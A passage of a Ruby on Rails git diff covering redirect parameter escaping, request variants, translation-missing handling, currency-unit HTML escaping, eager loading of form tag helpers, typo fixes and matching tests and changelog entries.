index 5247e61a23..7b2655b2d8 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'monitor'
module ActionDispatch # :nodoc:
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 37bf9c8c9f..377f05c982 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,5 +1,5 @@
require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionDispatch
class ExceptionWrapper
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index b9eb8036e9..11b42ee5be 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -15,8 +15,8 @@ module ActionDispatch
# best possible option given your application's configuration.
#
# If you only have secret_token set, your cookies will be signed, but
- # not encrypted. This means a user cannot alter his +user_id+ without
- # knowing your app's secret key, but can easily read his +user_id+. This
+ # not encrypted. This means a user cannot alter their +user_id+ without
+ # knowing your app's secret key, but can easily read their +user_id+. This
# was the default for Rails 3 apps.
#
# If you have secret_key_base set, your cookies will be encrypted. This
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index 3e54c7e71c..cbf4c5aa8b 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -57,11 +57,33 @@ module ActionDispatch
def relative_path?(path)
path && !path.empty? && path[0] != '/'
end
+
+ def escape(params)
+ Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ end
+
+ def escape_fragment(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+ end
+
+ def escape_path(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+ end
end
class PathRedirect < Redirect
+ URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
def path(params, request)
- (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+ if block.match(URL_PARTS)
+ path = interpolation_required?($1, params) ? $1 % escape_path(params) : $1
+ query = interpolation_required?($2, params) ? $2 % escape(params) : $2
+ fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+ "#{path}#{query}#{fragment}"
+ else
+ interpolation_required?(block, params) ? block % escape(params) : block
+ end
end
def inspect
@@ -69,8 +91,8 @@ module ActionDispatch
end
private
- def escape(params)
- Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ def interpolation_required?(string, params)
+ !params.empty? && string && string.match(/%\{\w*\}/)
end
end
@@ -101,11 +123,6 @@ module ActionDispatch
def inspect
"redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
end
-
- private
- def escape_path(params)
- Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
- end
end
module Redirection
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 5709ad0378..b1a5044399 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -37,7 +37,7 @@ module AbstractController
test "does not register unknown mime types" do
collector = MyCollector.new
- assert_raise NameError do
+ assert_raise NoMethodError do
collector.unknown
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index a0d90f7eee..0e163a93eb 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -246,8 +246,6 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
end
end
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
module ActionController
class Base
include ActionController::Testing
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index c64ffef654..9ceab91e42 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -174,12 +174,12 @@ class FlashTest < ActionController::TestCase
flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
- assert_nil flash.discard(:unknown) # non existant key passed
+ assert_nil flash.discard(:unknown) # non existent key passed
assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
- assert_nil flash.keep(:unknown) # non existant key passed
+ assert_nil flash.keep(:unknown) # non existent key passed
assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 6b02eedaed..c95ef8a0c7 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -34,4 +34,15 @@ class LocalizedTemplatesTest < ActionController::TestCase
get :hello_world
assert_equal "Gutten Tag", @response.body
end
+
+ def test_localized_template_has_correct_header_with_no_format_in_template_name
+ old_locale = I18n.locale
+ I18n.locale = :it
+
+ get :hello_world
+ assert_equal "Ciao Mondo", @response.body
+ assert_equal "text/html", @response.content_type
+ ensure
+ I18n.locale = old_locale
+ end
end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
index 774dabe105..2b6c8739af 100644
--- a/actionpack/test/controller/mime/respond_to_test.rb
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -146,6 +146,26 @@ class RespondToController < ActionController::Base
end
end
+ def variant_with_implicit_rendering
+ end
+
+ def variant_with_format_and_custom_render
+ request.variant = :mobile
+
+ respond_to do |type|
+ type.html { render text: "mobile" }
+ end
+ end
+
+ def multiple_variants_for_format
+ respond_to do |type|
+ type.html do |html|
+ html.tablet { render text: "tablet" }
+ html.phone { render text: "phone" }
+ end
+ end
+ end
+
protected
def set_layout
case action_name
@@ -490,4 +510,38 @@ class RespondToControllerTest < ActionController::TestCase
get :using_defaults, :format => "invalidformat"
end
end
+
+ def test_invalid_variant
+ @request.variant = :invalid
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_not_set_regular_template_missing
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_with_implicit_rendering
+ @request.variant = :mobile
+ get :variant_with_implicit_rendering
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_variant_with_format_and_custom_render
+ @request.variant = :phone
+ get :variant_with_format_and_custom_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_multiple_variants_for_format
+ @request.variant = :tablet
+ get :multiple_variants_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+ end
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index f41287381a..26806fb03f 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -529,4 +529,4 @@ class HeadRenderTest < ActionController::TestCase
assert_equal "something", @response.headers["X-Custom-Header"]
assert_response :forbidden
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 9aea7e860a..a5f43c4b6b 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/object/with_options'
require 'active_support/core_ext/array/extract_options'
class ResourcesTest < ActionController::TestCase
+
def test_default_restful_routes
with_restful_routing :messages do
assert_simply_restful_for :messages
@@ -1004,7 +1005,7 @@ class ResourcesTest < ActionController::TestCase
end
end
- assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
end
end
@@ -1320,6 +1321,8 @@ class ResourcesTest < ActionController::TestCase
assert_recognizes options, path_options
elsif Array(not_allowed).include?(action)
assert_not_recognizes options, path_options
+ else
+ raise Assertion, 'Invalid Action has passed'
end
end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 8a19129695..981cf2426e 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -31,21 +31,21 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse text with trailing star at the beginning" do
accept = "text/*, text/html, application/json, multipart/form-data"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star in the end" do
accept = "text/html, application/json, multipart/form-data, text/*"
- expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+ expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star" do
accept = "text/*"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index f072a9f717..0ad0dbc958 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -11,6 +11,17 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
head :ok
end
end
+ class EarlyParse
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ # Trigger a Rack parse so that env caches the query params
+ Rack::Request.new(env).params
+ @app.call(env)
+ end
+ end
def teardown
TestController.last_query_parameters = nil
@@ -131,6 +142,10 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
set.draw do
get ':action', :to => ::QueryStringParsingTest::TestController
end
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use(EarlyParse)
+ end
+
get "/parse", actual
assert_response :ok
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f6de9748ca..b308c5749a 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -93,6 +93,14 @@ class RequestTest < ActiveSupport::TestCase
assert_equal '1.1.1.1', request.remote_ip
end
+ test "remote ip spoof protection ignores private addresses" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+ 'HTTP_CLIENT_IP' => '172.17.19.51',
+ 'REMOTE_ADDR' => '1.1.1.1',
+ 'HTTP_X_BLUECOAT_VIA' => 'de462e07a2db325e'
+ assert_equal '1.1.1.1', request.remote_ip
+ end
+
test "remote ip v6" do
request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
@@ -836,6 +844,19 @@ class RequestTest < ActiveSupport::TestCase
end
end
+ test "setting variant" do
+ request = stub_request
+ request.variant = :mobile
+ assert_equal :mobile, request.variant
+ end
+
+ test "setting variant with non symbol value" do
+ request = stub_request
+ assert_raise ArgumentError do
+ request.variant = "mobile"
+ end
+ end
+
protected
def stub_request(env = {})
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index 3e9e90a950..aac808afda 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -3235,7 +3235,9 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
get "/foo/:id" => redirect("/foo/bar/%{id}")
get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+ get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
get "/foo/bar/:id" => ok
+ get "/baz" => ok
end
end
@@ -3251,6 +3253,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
verify_redirect "http://www.example.com/foo/bar/1%3E"
end
+ test "path redirect escapes interpolated parameters correctly" do
+ get "/foo/1%201"
+ verify_redirect "http://www.example.com/foo/bar/1%201"
+
+ get "/baz/1%201"
+ verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+ end
+
private
def verify_redirect(url, status=301)
assert_equal status, @response.status
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile \ No newline at end of file
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
index 5de7de0cfc..0f38195514 100644
--- a/actionview/CHANGELOG.md
+++ b/actionview/CHANGELOG.md
@@ -1,11 +1,13 @@
-* A Cycle object should accept an array and cycle through it as it would with a set of comma-separated objects.
+* A Cycle object should accept an array and cycle through it as it would with a set of
+ comma-separated objects.
arr = [1,2,3]
cycle(arr) # => '1'
cycle(arr) # => '2'
cycle(arr) # => '3'
- Previously, it would return the array as a string, because it took the array as a single object:
+ Previously, it would return the array as a string, because it took the array as a
+ single object:
arr = [1,2,3]
cycle(arr) # => '[1,2,3]'
@@ -14,6 +16,44 @@
*Kristian Freeman*
+* Label tags generated by collection helpers only inherit the `:index` and
+ `:namespace` from the input, because only these attributes modifies the
+ `for` attribute of the label. Also, the input attributes don't have
+ precedence over the label attributes anymore.
+
+ Before:
+
+ collection = [[1, true, { class: 'foo' }]]
+ f.collection_check_boxes :options, collection, :second, :first do |b|
+ b.label(class: 'my_custom_class')
+ end
+
+ # => <label class="foo" for="user_active_true">1</label>
+
+ After:
+
+ collection = [[1, true, { class: 'foo' }]]
+ f.collection_check_boxes :options, collection, :second, :first do |b|
+ b.label(class: 'my_custom_class')
+ end
+
+ # => <label class="my_custom_class" for="user_active_true">1</label>
+
+ *Andriel Nuernberg*
+
+* Fixed a long-standing bug in `json_escape` that causes quotation marks to be stripped.
+ This method also escapes the \u2028 and \u2029 unicode newline characters which are
+ treated as \n in JavaScript. This matches the behaviour of the AS::JSON encoder. (The
+ original change in the encoder was introduced in #10534.)
+
+ *Godfrey Chan*
+
+* `ActionView::MissingTemplate` includes underscore when raised for a partial.
+
+ Fixes #13002.
+
+ *Yves Senn*
+
* Use `set_backtrace` instead of instance variable `@backtrace` in ActionView exceptions
*Shimpei Makimoto*
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
index cdac074973..567e45e14f 100644
--- a/actionview/actionview.gemspec
+++ b/actionview/actionview.gemspec
@@ -20,10 +20,10 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'activesupport', version
- s.add_dependency 'activemodel', version
s.add_dependency 'builder', '~> 3.1.0'
s.add_dependency 'erubis', '~> 2.7.0'
- s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'activemodel', version
end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
index 39c0c6c856..810d82e89b 100644
--- a/actionview/lib/action_view.rb
+++ b/actionview/lib/action_view.rb
@@ -84,6 +84,7 @@ module ActionView
def self.eager_load!
super
+ ActionView::Helpers.eager_load!
ActionView::Template.eager_load!
HTML.eager_load!
end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
index caade8f43b..8eb7072d0c 100644
--- a/actionview/lib/action_view/base.rb
+++ b/actionview/lib/action_view/base.rb
@@ -1,5 +1,5 @@
require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/ordered_options'
require 'action_view/log_subscriber'
require 'action_view/helpers'
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
index 8a78685ae1..787e9d67b2 100644
--- a/actionview/lib/action_view/helpers.rb
+++ b/actionview/lib/action_view/helpers.rb
@@ -27,6 +27,12 @@ module ActionView #:nodoc:
autoload :TextHelper
autoload :TranslationHelper
autoload :UrlHelper
+ autoload :Tags
+
+ def self.eager_load!
+ super
+ Tags.eager_load!
+ end
extend ActiveSupport::Concern
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
index 901f433c70..d5222e3616 100644
--- a/actionview/lib/action_view/helpers/active_model_helper.rb
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/enumerable'
module ActionView
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
index 2a44ae5d5c..163d01c2eb 100644
--- a/actionview/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -103,7 +103,7 @@ module ActionView
}.join("\n").html_safe
end
- # Returns a link tag that browsers and news readers can use to auto-detect
+ # Returns a link tag that browsers and feed readers can use to auto-detect
# an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
# <tt>:atom</tt>. Control the link options in url_for format using the
# +url_options+. You can modify the LINK tag itself in +tag_options+.
@@ -208,8 +208,11 @@ module ActionView
end
if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
- options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
+ if size =~ %r{\A\d+x\d+\z}
+ options[:width], options[:height] = size.split('x')
+ elsif size =~ %r{\A\d+\z}
+ options[:width] = options[:height] = size
+ end
end
tag("img", options)
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
index 38d969ed0c..8e66fa13dc 100644
--- a/actionview/lib/action_view/helpers/form_helper.rb
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -3,9 +3,8 @@ require 'action_view/helpers/date_helper'
require 'action_view/helpers/tag_helper'
require 'action_view/helpers/form_tag_helper'
require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/inflections'
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
index 4347983bad..f625a9ff49 100644
--- a/actionview/lib/action_view/helpers/form_options_helper.rb
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -260,7 +260,7 @@ module ActionView
Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
end
- # Return select and option tags for the given object and method, using
+ # Returns select and option tags for the given object and method, using
# #time_zone_options_for_select to generate the list of option tags.
#
# In addition to the <tt>:include_blank</tt> option documented above,
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
index 9adc2c1a8f..ad825cd1f1 100644
--- a/actionview/lib/action_view/helpers/number_helper.rb
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -100,10 +100,10 @@ module ActionView
#
# number_to_currency(-1234567890.50, negative_format: "(%u%n)")
# # => ($1,234,567,890.50)
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
- # # => &pound;1234567890,50
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "", format: "%n %u")
- # # => 1234567890,50 &pound;
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+ # # => R$1234567890,50
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+ # # => 1234567890,50 R$
def number_to_currency(number, options = {})
delegate_number_helper_method(:number_to_currency, number, options)
end
@@ -394,6 +394,7 @@ module ActionView
def escape_unsafe_delimiters_and_separators(options)
options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+ options[:unit] = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
options
end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
index a05e16979a..45c75d10c0 100644
--- a/actionview/lib/action_view/helpers/tags.rb
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -3,37 +3,39 @@ module ActionView
module Tags #:nodoc:
extend ActiveSupport::Autoload
- autoload :Base
- autoload :CheckBox
- autoload :CollectionCheckBoxes
- autoload :CollectionRadioButtons
- autoload :CollectionSelect
- autoload :ColorField
- autoload :DateField
- autoload :DateSelect
- autoload :DatetimeField
- autoload :DatetimeLocalField
- autoload :DatetimeSelect
- autoload :EmailField
- autoload :FileField
- autoload :GroupedCollectionSelect
- autoload :HiddenField
- autoload :Label
- autoload :MonthField
- autoload :NumberField
- autoload :PasswordField
- autoload :RadioButton
- autoload :RangeField
- autoload :SearchField
- autoload :Select
- autoload :TelField
- autoload :TextArea
- autoload :TextField
- autoload :TimeField
- autoload :TimeSelect
- autoload :TimeZoneSelect
- autoload :UrlField
- autoload :WeekField
+ eager_autoload do
+ autoload :Base
+ autoload :CheckBox
+ autoload :CollectionCheckBoxes
+ autoload :CollectionRadioButtons
+ autoload :CollectionSelect
+ autoload :ColorField
+ autoload :DateField
+ autoload :DateSelect
+ autoload :DatetimeField
+ autoload :DatetimeLocalField
+ autoload :DatetimeSelect
+ autoload :EmailField
+ autoload :FileField
+ autoload :GroupedCollectionSelect
+ autoload :HiddenField
+ autoload :Label
+ autoload :MonthField
+ autoload :NumberField
+ autoload :PasswordField
+ autoload :RadioButton
+ autoload :RangeField
+ autoload :SearchField
+ autoload :Select
+ autoload :TelField
+ autoload :TextArea
+ autoload :TextField
+ autoload :TimeField
+ autoload :TimeSelect
+ autoload :TimeZoneSelect
+ autoload :UrlField
+ autoload :WeekField
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
index 787039c82e..991f32cea2 100644
--- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -18,7 +18,7 @@ module ActionView
end
def label(label_html_options={}, &block)
- html_options = label_html_options.merge(@input_html_options)
+ html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
@template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
end
end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
index 180aa9ac27..35d3ba8434 100644
--- a/actionview/lib/action_view/helpers/tags/label.rb
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -30,7 +30,6 @@ module ActionView
add_default_name_and_id_for_value(tag_value, name_and_id)
options.delete("index")
options.delete("namespace")
- options.delete("multiple")
options["for"] = name_and_id["id"] unless options.key?("for")
if block_given?
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
index a6ff15af7e..9943e19714 100644
--- a/actionview/lib/action_view/helpers/text_helper.rb
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -31,6 +31,8 @@ module ActionView
include SanitizeHelper
include TagHelper
+ include OutputSafetyHelper
+
# The preferred method of outputting text in your views is to use the
# <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
# do not operate as expected in an eRuby code block. If you absolutely must
@@ -268,7 +270,7 @@ module ActionView
content_tag(wrapper_tag, nil, html_options)
else
paragraphs.map! { |paragraph|
- content_tag(wrapper_tag, paragraph, html_options, false)
+ content_tag(wrapper_tag, raw(paragraph), html_options)
}.join("\n\n").html_safe
end
end
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
index ad8eb47f1f..3ae1df04fe 100644
--- a/actionview/lib/action_view/helpers/translation_helper.rb
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -1,24 +1,14 @@
require 'action_view/helpers/tag_helper'
require 'i18n/exceptions'
-module I18n
- class ExceptionHandler
- include Module.new {
- def call(exception, locale, key, options)
- exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
- end
- }
- end
-end
-
module ActionView
# = Action View Translation Helpers
module Helpers
module TranslationHelper
# Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
#
- # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
- # thrown +MissingTranslation+ messages will be turned into inline spans that
+ # First, it will ensure that any thrown +MissingTranslation+ messages will be turned
+ # into inline spans that:
#
# * have a "translation-missing" class set,
# * contain the missing key as a title attribute and
@@ -44,8 +34,17 @@ module ActionView
# naming convention helps to identify translations that include HTML tags so that
# you know what kind of output to expect when you call translate in a template.
def translate(key, options = {})
- options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+
+ # If the user has specified rescue_format then pass it all through, otherwise use
+ # raise and do the work ourselves
+ if options.key?(:raise) || options.key?(:rescue_format)
+ raise_error = options[:raise] || options[:rescue_format]
+ else
+ raise_error = false
+ options[:raise] = true
+ end
+
if html_safe_translation_key?(key)
html_safe_options = options.dup
options.except(*I18n::RESERVED_KEYS).each do |name, value|
@@ -59,6 +58,11 @@ module ActionView
else
I18n.translate(scope_key_by_partial(key), options)
end
+ rescue I18n::MissingTranslationData => e
+ raise e if raise_error
+
+ keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+ content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
end
alias :t :translate
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
index f9d5b97fe3..e07d9b6314 100644
--- a/actionview/lib/action_view/lookup_context.rb
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -52,6 +52,7 @@ module ActionView
locales
end
register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
+ register_detail(:variants) { [] }
register_detail(:handlers){ Template::Handlers.extensions }
class DetailsKey #:nodoc:
@@ -62,6 +63,13 @@ module ActionView
@details_keys = ThreadSafe::Cache.new
def self.get(details)
+ if details[:formats]
+ details = details.dup
+ syms = Set.new Mime::SET.symbols
+ details[:formats] = details[:formats].select { |v|
+ syms.include? v
+ }
+ end
@details_keys[details] ||= new
end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
index c2783f6377..81f9c40b85 100644
--- a/actionview/lib/action_view/railtie.rb
+++ b/actionview/lib/action_view/railtie.rb
@@ -36,19 +36,12 @@ module ActionView
end
end
- initializer "action_view.setup_action_pack", before: :add_view_paths do |app|
+ initializer "action_view.setup_action_pack" do |app|
ActiveSupport.on_load(:action_controller) do
- ActionController::Base.superclass.send(:include, ActionView::Layouts)
ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
end
end
- initializer "action_view.setup_action_mailer", before: :add_view_paths do |app|
- ActiveSupport.on_load(:action_mailer) do
- ActionMailer::Base.send(:include, ActionView::Layouts)
- end
- end
-
rake_tasks do
load "action_view/tasks/dependencies.rake"
end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
index 82db9e26df..99b95fdfb7 100644
--- a/actionview/lib/action_view/rendering.rb
